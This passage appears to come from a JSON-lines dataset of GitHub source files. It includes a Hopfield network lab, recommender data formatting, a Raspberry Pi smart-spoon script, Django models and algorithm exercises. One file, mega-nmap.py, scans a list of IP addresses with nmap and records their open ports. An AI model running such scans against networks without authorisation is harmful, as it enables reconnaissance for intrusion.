p.rectb(*[4, 4], *[9, 9], 0)\n            p.text(*[7, 6], \"O\", 0)\n\n        if self.is_gameover:\n            p.rect(*(120-30, 67-45), 60, 90, 7)\n            p.rectb(*(120-30, 67-45), 60, 90, 13)\n            p.text(*(120-18, 67-30), \"GAME OVER\", 0)\n            p.rectb(*(120-20, 67+24), *(40, 16), 13)\n            p.text(*(120-7, 67+30), \"NEXT\", 0)\n        else:\n            pass\n\n\nif __name__ == \"__main__\":\n    App()","repo_name":"yojiyama7/python","sub_path":"pyxel/timber_practice_simple/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"21477176465","text":"#!/usr/bin/env python  \n# -*- coding:utf-8 -*-\n# @author: JamieJ\n# @license: Apache Licence \n# @file: HopfieldNN.py \n# @time: 2021/02/14\n# @contact: mingj@kth,se\n# @software: PyCharm \n# May the Force be with you.\n\nfrom DataGen import *\nimport matplotlib.pyplot as plt\nimport itertools\n\n\nclass HopfieldNetwork(object):\n    def __init__(self, bias=None):\n        self.weight = None\n        self.bias = bias\n        self.un_updated = None\n\n    # calculate the weight\n    def train(self, x, mu=None, diagonal=None, symmetric=False):\n        if not mu:\n            weight = np.sum(np.outer(p.T, p) for p in x)\n        else:\n            weight = np.sum(np.outer(p.T - mu, p - mu) for p in x)\n        weight = weight.astype(np.float64).copy()\n\n        if diagonal == \"diag0\":\n            np.fill_diagonal(weight, 0)\n\n        if symmetric:\n            weight = 0.5 * (weight + weight.T)\n        weight /= weight.shape[0]\n        # normalization\n        self.weight = weight\n        return weight\n\n    def energy(self, state):\n        return np.sum(-1 * np.dot(np.dot(state.T, self.weight), state))\n\n    \"\"\"\n    :param x_i: previous pattern\n    :param x_j: updated pattern\n    \"\"\"\n\n    def update(self, x, mode=\"synchronous\", num=1):\n        w = self.weight\n        x_i = np.copy(x)\n        if mode == \"synchronous\":\n            if self.bias is None:\n                # the Little Model\n                x_j = np.sign(np.dot(x_i, w))\n                x_j[x_j == 0] = 1\n            else:\n                x_j = np.sign(np.dot(x_i, w) - self.bias)\n                x_j[x_j == 0] = 1\n                x_j = 0.5 + 0.5 * x_j\n            # x_j = np.sign(np.dot(w, x_i))\n        else:\n            if not self.un_updated:\n                self.un_updated = [i for i in range(x.shape[0])]\n            update_index = np.random.choice(self.un_updated, num)\n\n            x_j = np.copy(x)\n            # print(x.shape, w.shape)\n            if self.bias is None:\n                x_i = np.sign(np.sum(x * w[update_index, :]))\n                x_j[update_index] = x_i\n                x_j[x_j == 0] = 1\n            else:\n                x_i = np.sign(np.sum(x * w[update_index, :]) - self.bias)\n                x_j[update_index] = 0.5 + 0.5 * (1 if x_i >= 0 else -1)\n            self.un_updated.remove(update_index)\n        return x_j\n\n    def recall(self, x, mode=\"synchronous\", iter=100):\n        x_i = np.copy(x)\n        x_j = np.copy(x)\n        for i in range(iter):\n            if mode == \"synchronous\":\n                x_j = self.update(x_i, mode=mode)\n            else:\n                for _ in range(x.shape[0]):\n                    x_j = self.update(x_j, mode=mode)\n            # check if converge\n            # if np.array_equal(x_j, x_i):\n            #     break\n\n            # update\n            x_i = x_j\n        return x_j\n\n    def attractors_count(self, mode=\"synchronous\"):\n        nneurons = self.weight.shape[0]\n        all_patterns = np.array(list(itertools.product([-1, 1], repeat=nneurons)))\n        attractors = []\n        for pattern in all_patterns:\n            attractors.append(self.recall(pattern, mode=mode))\n        attractors = np.unique(np.array(attractors), axis=0)\n        return attractors\n\n    def check_memory(self, x, mode=\"synchronous\"):\n        count = 0\n        memorized = []\n        for pattern in x:\n            recalled = self.recall(pattern, mode=mode)\n            if np.array_equal(recalled, pattern):\n                count += 1\n                memorized.append(pattern)\n        print(f\"{count} patterns are memorized\")\n        return count, memorized\n\n\ndef check_res(model, X, distorted_X, mode=\"synchronous\", iter=100):\n    recalled_X = model.recall(distorted_X, mode=mode, iter=iter)\n    check = []\n    for i in range(X.shape[0]):\n        check.append(np.array_equal(recalled_X[i], X[i]))\n    print(check)\n    return check\n\n\nif __name__ == '__main__':\n    data = Data()\n    X, distorted_X, more_error_X = data.get_data(), data.get_data(\"distorted\"), data.get_data(\"more errors\")\n\n    mode = \"synchronous\"\n    iter = 100\n    hn = HopfieldNetwork()\n    hn.train(X)\n\n    check_res(hn, X, distorted_X, mode=mode, iter=iter)\n    check_res(hn, X, more_error_X, mode=mode, iter=iter)\n\n    # ---------------------------------------------------------------------------------------#\n    # 3.1 find the attractors\n    attractors = hn.attractors_count()\n    print(f\"{len(attractors)} attractors are found.\")\n    for attractor in attractors:\n        orthogonal = -attractor\n        if orthogonal in attractors:\n            # print(\"\\hline\")\n            print(f\"{attractor} & {orthogonal} \\\\\\\\\")\n        else:\n            print(\"no\")\n        # print(np.array(attractor))\n\n    # ---------------------------------------------------------------------------------------#\n","repo_name":"Rigel-Everlasting/DD2437-ANN-LAb","sub_path":"lab3/HopfieldNN.py","file_name":"HopfieldNN.py","file_ext":"py","file_size_in_byte":4767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"15433230672","text":"import os\r\nimport subprocess\r\nimport xlwt\r\nimport csv\r\n\r\n# Function to check if host is up\r\ndef is_host_up(ip_address):\r\n    response = subprocess.run([\"nmap\", \"-sP\", ip_address], stdout=subprocess.PIPE)\r\n    for line in response.stdout.decode(\"utf-8\").split(\"\\n\"):\r\n        if \"Host is up\" in line:\r\n            return True\r\n    return False\r\n\r\n# Function to scan ports\r\ndef scan_ports(ip_address):\r\n    response = subprocess.run([\"nmap\", \"-Pn\", ip_address], stdout=subprocess.PIPE)\r\n    open_ports = []\r\n    for line in response.stdout.decode(\"utf-8\").split(\"\\n\"):\r\n        if \"/tcp\" in line:\r\n            open_ports.append(line.split(\"/\")[0])\r\n    return open_ports\r\n\r\n# Read input file\r\nip_addresses = []\r\nwith open(\"input.txt\", \"r\") as input_file:\r\n    for line in input_file.readlines():\r\n        ip_addresses.append(line.strip())\r\n\r\n# Create Excel file\r\nworkbook = xlwt.Workbook()\r\nworksheet = workbook.add_sheet(\"Ports\")\r\n\r\n# Write header row\r\nworksheet.write(0, 0, \"IP Address\")\r\nworksheet.write(0, 1, \"Open Ports\")\r\n\r\n# Write data rows\r\nrow_num = 1\r\nfor ip_address in ip_addresses:\r\n    if is_host_up(ip_address):\r\n        open_ports = scan_ports(ip_address)\r\n        worksheet.write(row_num, 0, ip_address)\r\n        worksheet.write(row_num, 1, \", \".join(open_ports))\r\n        row_num += 1\r\n\r\n# Save Excel file\r\nworkbook.save(\"output.xls\")\r\n# Create CSV file\r\nwith open(\"output.csv\", \"w\") as output_file:\r\n    writer = csv.writer(output_file)\r\n\r\n    # Write header row\r\n    writer.writerow([\"IP Address\", \"Open Ports\"])\r\n\r\n    # Write data rows\r\n    for ip_address in ip_addresses:\r\n        if is_host_up(ip_address):\r\n            open_ports = scan_ports(ip_address)\r\n            writer.writerow([ip_address, \", \".join(open_ports)])\r\n","repo_name":"Mega-mind-med/meganmap","sub_path":"mega-nmap.py","file_name":"mega-nmap.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"28412854500","text":"import sys\nimport jieba\nimport argparse\nfrom tqdm import tqdm\nimport pandas as pd\nimport numpy as np\n\n\ndef count_degree(frame, col):\n    user = frame.columns[col]\n    user_degree_series = frame.iloc[:, col]\n    user_degree_frame = pd.DataFrame(user_degree_series.value_counts())\n    user_degree_frame.columns = ['degree']\n    user_degree_frame = pd.merge(frame, user_degree_frame,\n                                 left_on=user, right_index=True)\n    return user_degree_frame\n\n\ndef filter_old(frame, N=0, M=100000):\n    frame = count_degree(frame, 0)\n    frame = count_degree(frame, 1)\n    old_frame = frame[(frame['degree_x'] >= N) & (frame['degree_y'] >= N)]\n    # print('rest users', len(set(old_frame.iloc[:, 0])))\n    # print('rest items', len(set(old_frame.iloc[:, 1])))\n    # print('rest matches', len(old_frame))\n    return old_frame.iloc[:, :2]\n\n\ndef iter_filter_old(frame, N=10, M=5, step=100):\n    for i in range(step):\n        frame = filter_old(frame.iloc[:, :2], N, M)\n        frame = count_degree(frame, 0)\n        frame = count_degree(frame, 1)\n        # print(frame.head())\n        if frame['degree_x'].min() >= N and frame['degree_y'].min() >= M:\n            break\n    return frame.iloc[:, :2]\n\n\ndef train_test_split(df):\n    train = list()\n    test = list()\n\n    print('all data')\n    print(len(df))\n    df.index = df['job']\n\n    print('spliting ...')\n    for job in tqdm(set(df['job'])):\n        job_action = df.loc[job].values\n        train.extend(job_action[:-1])\n        test.append(job_action[-1])\n\n    train = pd.DataFrame(train, columns=['job', 'geek'])\n    test_set = set([(job, geek) for job, geek in test])\n    test = pd.DataFrame(test, columns=['job', 'geek'])\n\n    return train, test, test_set\n\n\ndef build_user_index(train):\n    job_dict = {k:v for v, k in enumerate(train['job'].drop_duplicates())}\n    geek_dict = {k:v for v, k in enumerate(train['geek'].drop_duplicates())}\n    print('n_job n_geek')\n    print(len(job_dict), len(geek_dict))\n    return job_dict, geek_dict\n\n\ndef convert_data(frame, job_dict, geek_dict, filter_set={}):\n    data = list()\n    for job, geek in tqdm(frame.values):\n       if (job, geek) in filter_set:\n           continue\n       if job in job_dict and geek in geek_dict:\n           data.append([job_dict[job], geek_dict[geek]])\n    frame = pd.DataFrame(data, columns=['job', 'geek'])\n    return frame\n\n\ndef neg_sample(train, test, all_geek, n_neg=101):\n    train.index = train['job']\n    test_samples = list()\n    print('negative sampling ...')\n    for job, geek in tqdm(test.values):\n        positive = set(train.loc[job])\n        positive.add(geek)\n        negative = list()\n        while len(negative) < n_neg:\n            requeir = int((n_neg - len(negative)) * 1.2)\n            samples = np.random.randint(0, all_geek, requeir)\n            samples = [x for x in samples if x not in positive]\n            negative.extend(samples)\n        negative = negative[:n_neg]\n        negative[0] = job\n        negative[1] = geek\n        test_samples.append(negative)\n    test_frame = pd.DataFrame(test_samples)\n    return test_frame\n\n\ndef train_frame_plus(train_frame, job_add, geek_add, job_dict, geek_dict, test_set):\n    print('interview num', len(train_frame))\n    print('converting job index ...')\n    job_add = convert_data(job_add, job_dict, geek_dict, test_set)\n    job_add['rating'] = 2\n    print('job posi num', len(job_add))\n    train_frame = pd.concat((train_frame, job_add), sort=False)\n    print('converting geek index ...')\n    geek_add = convert_data(geek_add, job_dict, geek_dict, test_set)\n    geek_add['rating'] = 1\n    print('geek posi num', len(geek_add))\n    train_frame = pd.concat((train_frame, geek_add), sort=False)\n    return train_frame\n\n\ndef data_format(d):\n    if type(d) == float:\n        return str(int(d))\n    else:\n        return str(d)\n\n\ndef profile(path, str_id_dict):\n    datas = [''] * len(str_id_dict)\n    with open(path) as f:\n        for line in tqdm(f):\n            data = line.split(SEP)\n            strid = data[0]\n            if strid not in str_id_dict:\n                continue\n            data[-1] = ' '.join(jieba.cut(data[-1]))\n            # prof = '\\t'.join(data[1:])\n            prof = ' '.join(data[1:])\n            prof = prof.replace('\\n', '')\n            idx = str_id_dict[strid]\n            datas[idx] = prof\n    # for k, v in str_id_dict.items():\n    #     datas[v] = k + '\\t' + datas[v]\n    return datas\n\n\ndef profile_format(inpath, outpath, job_dict, geek_dict):\n    job_profile_path = '{}.profile.job'.format(inpath)\n    job_profile = profile(job_profile_path, job_dict)\n    print(len(job_profile))\n    with open('./data/{}.profile.job'.format(outpath), 'w') as f:\n        f.write('\\n'.join(job_profile))\n    # with open('./data/{}.position.job'.format(outpath), 'w') as f:\n    #     f.write('\\n'.join(job_position))\n\n    geek_profile_path = '{}.profile.geek'.format(inpath)\n    geek_profile = profile(geek_profile_path, geek_dict)\n    print(len(geek_profile))\n    with open('./data/{}.profile.geek'.format(outpath), 'w') as f:\n        f.write('\\n'.join(geek_profile))\n\n    with open('./data/{}.profile'.format(outpath), 'w') as f:\n        f.write('\\n'.join((job_profile + geek_profile)))\n    return\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(description=\"Run MLP.\")\n    parser.add_argument('--datain', nargs='?', default='ml-1m')\n    parser.add_argument('--dataout', default='interview')\n    parser.add_argument('--t', type=int, default=5)\n    parser.add_argument('--sep', default='\\001')\n    return parser.parse_args()\n\n\nif __name__ == '__main__':\n\n    args = parse_args()\n    T = args.t\n    DATA_IN = args.datain\n    DATA_OUT = args.dataout\n    SEP = args.sep\n\n    # read data\n    df = pd.read_table('{}.train'.format(DATA_IN), header=None, sep=SEP).dropna().applymap(data_format)\n    df.columns = ['job', 'geek']\n\n    df = iter_filter_old(df, T, T)\n    train_frame, test_frame, test_set = train_test_split(df)\n    job_dict, geek_dict = build_user_index(train_frame)\n    print('converting id to int ...')\n    train_frame = convert_data(train_frame, job_dict, geek_dict)\n    train_frame['rating'] = 3\n    test_frame = convert_data(test_frame, job_dict, geek_dict)\n    test_frame = neg_sample(train_frame, test_frame, len(geek_dict))\n\n    train_frame.to_csv('data/{}.train'.format(DATA_OUT), index=False, header=False, sep='\\t')\n    test_frame.to_csv('data/{}.test'.format(DATA_OUT), index=False, header=False, sep='\\t')\n\n    profile_format(DATA_IN, DATA_OUT, job_dict, geek_dict)\n\n    print('formating addfriend data ...')\n    job_add = pd.read_table('{}_job.txt'.format(DATA_IN), header=None).dropna().applymap(data_format)\n    geek_add = pd.read_table('{}_geek.txt'.format(DATA_IN), header=None).dropna().applymap(data_format)\n    print('concating addfriend data ...')\n    train_frame = train_frame_plus(train_frame, job_add, geek_add, job_dict, geek_dict, test_set)\n\n    train_frame.to_csv('data/{}.multi.train'.format(DATA_OUT), index=False, header=False, sep='\\t')\n","repo_name":"quyuanhang/text2Vec","sub_path":"src/dataFormat3.py","file_name":"dataFormat3.py","file_ext":"py","file_size_in_byte":7003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"12929109715","text":"from module import *\r\nfrom utils import *\r\nfrom pars import *\r\nfrom model import *\r\nfrom dataloader import * \r\n\r\n\r\ndef Inference_ori(args, feats, labels):\r\n    set_seed(args.seed)\r\n    model = sgc(args.in_size, args.n_classes, hidden_channels=args.hidden_channels, num_layers=args.num_layers, dropout=args.dropout)\r\n    model.load_state_dict(torch.load(args.base_model, map_location=torch.device('cpu' if args.device=='cpu' else args.device)))\r\n    model = model.to(args.device)\r\n    start = time.time()\r\n    with torch.no_grad():\r\n        model.eval()\r\n        logits=model(feats.to(args.device))\r\n    evaluator = get_acc_evaluator()        \r\n    preds=torch.argmax(logits, dim=-1)\r\n    acc = evaluator(preds, labels)\r\n    end = time.time()\r\n    classification_time = round(end - start,2)\r\n    return acc, classification_time\r\n\r\n\r\ndef Inference_pro(args, g, feats, test_nid, labels, norm_a_inf, feat_time, model):\r\n    model = model.to(args.device) \r\n    model.eval() \r\n    feat_process_time = 0\r\n    pre_label=torch.zeros(test_nid.size(0), args.n_classes)\r\n    if args.dif_dim_ratio<1:\r\n        diffrence_dim_num=round(args.dif_dim_ratio*args.in_size)\r\n        diffrence_dim=np.array([False]*args.in_size)\r\n        diffrence_dim[:diffrence_dim_num]=True\r\n        random.seed(0)\r\n        random.shuffle(diffrence_dim)\r\n        diffrence_dim=torch.tensor(diffrence_dim) \r\n    else:\r\n        diffrence_dim=torch.tensor([True]*args.in_size)\r\n    mask_before = torch.Tensor([False]*(test_nid.size(0))).bool()\r\n    out_num=[]\r\n  \r\n    for hop in range(1, args.Tmax + 1):\r\n        if hop<=args.Tmin:\r\n            out_num.append(0)\r\n        elif hop < args.Tmax:\r\n            dist = torch.linalg.norm((feats[hop][:,diffrence_dim] - norm_a_inf), ord=2, dim=1)\r\n            if args.Ts_weight==None:\r\n                args.Ts_weight=dist.max()\r\n            mask = (dist<(args.Ts*args.Ts_weight)).masked_fill_(mask_before, False)\r\n            mask_before.masked_fill_(mask, True)  \r\n            out_num.append(int(mask.sum()))\r\n            if out_num[-1] != 0: \r\n                logits=feats[hop][mask]  \r\n                with torch.no_grad(): \r\n                    model.eval()  \r\n                    pre_label[mask] = model(hop,logits)\r\n                feat_process_time += (feat_time[hop-1])  *int(out_num[-1])\r\n        elif hop == args.Tmax: \r\n            mask = torch.Tensor([True]*test_nid.size(0)).bool()\r\n            mask.masked_fill_(mask_before, False)\r\n            out_num.append(int(mask.sum()))\r\n            if out_num[-1] != 0: \r\n                logits=feats[hop][mask]   \r\n                with torch.no_grad():\r\n                    model.eval()  \r\n                    pre_label[mask] = model(hop,logits) \r\n                feat_process_time += (feat_time[hop-1])  *int(out_num[-1])\r\n    preds=torch.argmax(pre_label, dim=-1)\r\n    evaluator = get_acc_evaluator()\r\n    acc = evaluator(preds, labels)\r\n    feat_process_time = round(feat_process_time/args.out_n_nodes,2)\r\n\r\n    return acc, feat_process_time, out_num\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    args=pars()\r\n    args.gpu=-1\r\n    args=args_setting(args)\r\n\r\n    g, labels, train_nid, val_nid, test_nid, unlabeled_nid, args = load_dataset(args)\r\n    feats_val, edge_list, nodes_list, sample_time, feat_process_time_ori = features_norm(g, args, [val_nid] )\r\n    val_acc_ori, classification_time_ori = Inference_ori(args, feats_val[-1][val_nid], labels[val_nid])\r\n    flops_feat_ori_batch, flops_classifier = original_flops_batch_A(args, edge_list, nodes_list)\r\n\r\n    model = sgc_distill_gate(args, args.in_size, args.n_classes, hidden_channels=args.hidden_channels, num_layers=args.num_layers, dropout=args.dropout)\r\n    model.load_state_dict(torch.load(args.on_distilled_model))\r\n\r\n    results=[]\r\n    for Tmax in np.arange(args.num_max_hops, 0, -1):\r\n        args.Tmax=Tmax\r\n        feats_val, edge_list, nodes_list, sample_time, feat_process_time_ori = features_norm(g, args, [val_nid] )\r\n        norm_a_inf, inf_a_time = cal_inf_A(args, g, [val_nid])\r\n        for Tmin in [0,1,2]: \r\n            args.Tmin =Tmin\r\n            if args.Tmin>=args.Tmax:\r\n                continue\r\n            for Ts in np.arange(0, 0.2, 0.0005):\r\n                if Ts>=0.2-0.0005:\r\n                    Ts=1\r\n                if args.Tmin ==args.Tmax-1 and Ts > 0 :\r\n                    continue                        \r\n                args.Ts=round(Ts,5)\r\n                val_acc_p, feat_process_time_pro, out_num_list = Inference_pro(args, g, [x[val_nid] for x in feats_val], val_nid, labels[val_nid], norm_a_inf, feat_process_time_ori, model)\r\n                flops_Ainf, flops_feat_pro_batch = out_flops_batch_A(args, edge_list, nodes_list, out_num_list) \r\n                norm_a_inf_test, _ = cal_inf_A(args, g, [test_nid])\r\n                test_acc_p, _, _ = Inference_pro(args, g, [x[test_nid] for x in feats_val], test_nid, labels[test_nid], norm_a_inf_test, feat_process_time_ori, model)\r\n                results = record_result_batch(args, results, Ts, Tmin, Tmax, val_acc_ori, val_acc_p, out_num_list, \r\n                                        flops_feat_ori_batch, flops_classifier,  flops_Ainf, flops_feat_pro_batch, test_acc_p)\r\n\r\n\r\n\r\n","repo_name":"IdealityWaver/NAI","sub_path":"scr/para_search.py","file_name":"para_search.py","file_ext":"py","file_size_in_byte":5192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"14886216520","text":"class ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n\n\nclass Solution:\n    def partition(self, head: ListNode, x: int) -> ListNode:\n        \"\"\"\n        双指针\n        :param head:\n        :param x:\n        :return:\n        \"\"\"\n        pre = ListNode(0, head)\n        left, right = pre, pre\n        while right.next:\n            if right.next.val < x:\n                if left == right:\n                    left = left.next\n                    right = right.next\n                else:\n                    left_next = left.next\n                    left.next, right.next = right.next, right.next.next\n                    left.next.next, left = left_next, left.next\n            else:\n                right = right.next\n        return pre.next\n","repo_name":"ABenxj/leetcode","sub_path":"86 partition.py","file_name":"86 partition.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"5028988473","text":"from time import sleep\nimport numpy as np\nimport time\n\n# for accelerometer\nfrom adxl345 import ADXL345\n\n#enable pressure sensor\nimport RPi.GPIO as GPIO\nfrom pressureSense import read_pressure\n\n# for temperature sensor\nfrom temperaturesensor import read_temp\n\n# for camera\nfrom picamera import PiCamera\ncam = PiCamera()\nfrom camera import takePic\n\n# for sending to server\nfrom send_to_server import send_data\n\nserver_url = \"http://34.201.135.161:4028/\"\n\n# for led\nfrom led import flash_led\n\n# for oled\nfrom oled import display_oled\n\n# initialize settings for pressure sensor\npressure_pin = 17\n\n# items is the spoon's memory to recall if an object was placed on the spoon recently. \n# The reason for keeping a memory is so that we can check the memory when we detect movmenet via the accelerometer. If nothing \n# was placed on the spoon, it will not take further action.\n# We can increase its memory simply by increasing the length of this numpy array.\nitems = np.zeros(5)\n\n # initialize settings for led\n# led to flash when calorie intake for the day is higher than a specified threshold\nled_pin = 14\ncal_threshold1 = 75\ncal_threshold2 = 100\n# flash = False\n\n# initialize settings for camera\nimg_idx = 0\nimg_path =  '../images/'\n# crop ratio is the size of cropped img as % of original\ncrop_ratio = 0.6\n\n# initialize settings for accelerometer\nGPIO.setmode(GPIO.BCM)\nadxl345 = ADXL345()\n\n# initialize settings for calculating moving average of accelerometer readings\nwin_size = 5\nx_mov_win = np.zeros(win_size)\ny_mov_win = np.zeros(win_size)\ncounter = 0\nmv_threshold = 0.01\n\n# simple fn to detect movement via  the accelerometer\ndef detect_mm(x, y, mv_threshold):\n    if x * y < 0 and np.absolute(x - y) > mv_threshold:\n        return True\n    else:\n        return False\n\n# the ADXL may sometimes \"hang\" and when that happens x and y readings go to 0.0;\n# this function sets the flag for resetting the adxl to ensure that the spoon can continue to operate.\ndef adxl_hang(x, y):\n    if x == 0.0 and y == 0.0:\n        return True\n    else:\n        return False\n\n# main while loop\nwhile True:\n\n    # Take in the x and y readings from the accelerometer\n    axes = adxl345.getAxes(True)    \n    x = axes['x']\n    y = axes['y']\n    \n    print(\"x:\", x , \"y:\", y)\n    \n    # We keep a moving window of the memory\n    items = np.roll(items, 1)\n    print(\"Detecting presence of object...\")\n    # read_pressure reads the reading from the pressure sensor to detect if an object was placed on the spoon \n    item, count = read_pressure(pressure_pin)\n    \n    # Update the memory \n    if item:\n        items[0] = 1.0\n    else:\n        items[0] = 0\n        \n    print(items)\n    \n    # If an object was placed on the spoon in recent memory, we consider it that an object is now on the spoon\n    obj_detected = np.max(items) == 1.0\n    \n    # If movement is detected by the accelerometer\n    if detect_mm(x, y, mv_threshold):\n\n        sleep(0.5)\n        # if item is detected on pressure sensor as recalled by the memory\n        if obj_detected:\n            #pin_to_circuit = 17\n            print(\"Object detected! Time it took to charge capacitor:\", count)\n            print(\"Reading temperature...\")\n            temp = read_temp()\n            \n            print(\"Temperature is \", temp)\n            print(\"Taking Picture\")\n            takePic(cam, img_idx, img_path, crop_ratio)\n            cal_perc, bites = send_data(temp, img_idx, server_url)\n            print(\"Sending Picture...\")\n            \n            #cal_perc = 120\n            #bites = 300\n\n            # If calorie intake is  more than threshold, light the LED up to nudge the user \n            if cal_perc >= cal_threshold1 and cal_perc < cal_threshold2:\n                flash_led(led_pin, 1)\n            elif cal_perc >= cal_threshold2:\n                flash_led(led_pin, 2)           \n            \n            # Inform the user via the OLED how many calories and bites of food he/she has taken \n            display_oled(cal_perc, bites)\n            \n            img_idx += 1\n        \n        # Re-create the accelerometer object as it is deleted\n        # when we do not read from it\n        adxl345 = ADXL345()\n\n    GPIO.cleanup()\n    GPIO.setmode(GPIO.BCM)\n\n    # Restarts the accelerometer if it hangs to ensure that the spoon continues to operate smoothly\n    if adxl_hang(x, y):\n        print(\"restart adxl345\")\n        adxl345 = ADXL345()\n    \n    sleep(0.5)","repo_name":"singpou/cu_eng_iot_proj_2018_spoony","sub_path":"raspi_code/main1.py","file_name":"main1.py","file_ext":"py","file_size_in_byte":4415,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"74070850399","text":"from django.db import models\n\nclass Post(models.Model):\n    title = models.CharField(max_length=100, verbose_name=\"아이디어명\")\n    content = models.TextField(verbose_name=\"아이디어설명\")\n    interest = models.IntegerField(verbose_name=\"아이디어관심도\")\n    devtool = models.CharField(max_length=50, verbose_name=\"예상개발툴\")\n    # 저장경로: MEDIA_ROOT/posts/20230117/xxx.png\n    # DB필드: 'MEDIA_URL/posts/20230117/xxx.png'라는 문자열 저장\n    photo = models.ImageField(null=True, blank=True, upload_to='posts/%Y%m%d')\n\nclass Tool(models.Model):\n    content = models.TextField(verbose_name=\"개발툴설명\")\n    name = models.CharField(null=True, max_length=50, verbose_name=\"이름\")\n    kind = models.CharField(null=True, max_length=50, verbose_name=\"종류\")\n","repo_name":"daeun-han/HanDaeun","sub_path":"SWIDEA_SITE/server/posts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16354068826","text":"# int steps: the number of steps on the hike\n# string path: a string describing the path\n\ndef countingValleys(steps, path):\n    level = 0  \n    valleys = 0  \n    \n    for step in path:\n        if step == 'U':\n            level+=1\n            if level == 0:\n                valleys+=1\n                \n        else:\n            level-=1\n    \n    return (valleys)\n\nprint(countingValleys(8, \"UDDDUDUU\"))\n","repo_name":"MustafaAkipek/hackerrankquestions","sub_path":"coutingvalleys.py","file_name":"coutingvalleys.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"51"}
+{"seq_id":"18721015837","text":"from handler import Handler\r\nfrom models import (SECRET, BlogPost, COMMENT, LIKE, USER)\r\nfrom utils import (salt, hash_password, check_password, string_hash,\r\n                   secure_cookie_value, check_cookie_integrity,\r\n                   get_post_comments, get_likes_count, user_logged_in,\r\n                   comment_exists, user_owns_comment)\r\n\r\n\r\n# handles the edit comment link\r\nclass EditComment(Handler):\r\n\r\n    def render_front(\r\n            self,\r\n            post_id,\r\n            comment_id,\r\n            subject=\"\",\r\n            content=\"\",\r\n            error=\"\"):\r\n        self.render(\r\n            \"editcomment.html\",\r\n            post_id=post_id,\r\n            comment_id=comment_id,\r\n            subject=subject,\r\n            content=content,\r\n            error=error)\r\n\r\n    @user_logged_in\r\n    @comment_exists\r\n    @user_owns_comment\r\n    def get(self, comment_id, comment, signed_username=\"\", error=\"\"):\r\n        post_id = comment.post.key().id()\r\n        # capture the error that signed-in user is not the comment's author\r\n        if (error == 1):\r\n            edit_error = 2\r\n            self.redirect(\"/blog/%s?edit_error=%s\" % (post_id, edit_error))\r\n\r\n        else:\r\n            subject = comment.subject\r\n            content = comment.content\r\n            self.render_front(\r\n                    post_id=post_id,\r\n                    comment_id=comment_id,\r\n                    subject=subject,\r\n                    content=content)\r\n\r\n    @user_logged_in\r\n    @comment_exists\r\n    @user_owns_comment\r\n    def post(self, comment_id, comment, signed_username=\"\", error=\"\"):\r\n        if (error == 1):\r\n            edit_error = 2\r\n            self.redirect(\"/blog/%s?edit_error=%s\" % (post_id, edit_error))\r\n\r\n        else:\r\n            post_id = comment.post.key().id()\r\n            subject = self.request.get(\"subject\")\r\n            content = self.request.get(\"content\")\r\n            # overwrite the stored comment if both fields are filled-in\r\n            if subject and content:\r\n                comment.subject = subject\r\n                comment.content = content\r\n                comment.put()\r\n                self.redirect(\"/blog/%s\" % post_id)\r\n            # fires an error if any of the fields are missing\r\n            else:\r\n                error = \"we need both a subject and some comment!\"\r\n                self.render_front(\r\n                    post_id=post_id,\r\n                    comment_id=comment_id,\r\n                    subject=subject,\r\n                    content=content,\r\n                    error=error)\r\n","repo_name":"ahmadnagib/QuantumLeap","sub_path":"handlers/edit_comment.py","file_name":"edit_comment.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"20080996450","text":"import numpy as np\nfrom OpenGL.GL import GLfloat\n# from Mach.transformations import rotation_matrix\nimport mach\n\ndef Identity():\n\treturn np.matrix([      [1., 0., 0., 0.],\n\t\t\t\t\t\t\t[0., 1., 0., 0.],\n\t\t\t\t\t\t\t[0., 0., 1., 0.],\n\t\t\t\t\t\t\t[0., 0., 0., 1.]\n\t\t\t\t\t\t\t])\n\ndef PerspectiveMatrix(field_of_view_y, aspect, z_near, z_far):\n\n\tfov_radians = np.radians(field_of_view_y)\n\tf = np.tan(fov_radians / 2)\n\n\ta_11 = 1 / (f * aspect)\n\ta_22 = 1 / f\n\ta_33 = -(z_near + z_far) / (z_near - z_far)\n\ta_34 = -2 * z_near * z_far / (z_near - z_far)\n\n\tperspective_matrix = np.matrix([\n\t\t[a_11, 0, 0, 0],\n\t\t[0, a_22, 0, 0],\n\t\t[0, 0, a_33, -1],\n\t\t[0, 0, a_34, 0]\n\t])\n\n\treturn perspective_matrix\n\ndef OrthographicMatrix(left, right, bottom, top, near, far):\n\ta_00 = 2 / (right - left)\n\ta_11 = 2 / (top - bottom)\n\ta_22 = -2 / (far - near)\n\ta_03 = -(right + left) / (right - left)\n\ta_13 = -(top + bottom) / (top - bottom)\n\ta_23 = -(far + near) / (far - near)\n\n\torthographic_matrix = np.matrix([\n\t\t[a_00,  0,      0,      a_03],\n\t\t[0,     a_11,   0,      a_13],\n\t\t[0,     0,      a_22,   a_23],\n\t\t[0,     0,      0,      1]\n\t])\n\n\treturn orthographic_matrix\n\ndef LookAt(eye, center, up):\n\tf = Normalize(center-eye)\n\ts = Normalize(np.cross(up, f))\n\tu = np.cross(f, s)\n\n\tm = Identity()\n\tm[0, 0] = s[0]\n\tm[1, 0] = s[1]\n\tm[2, 0] = 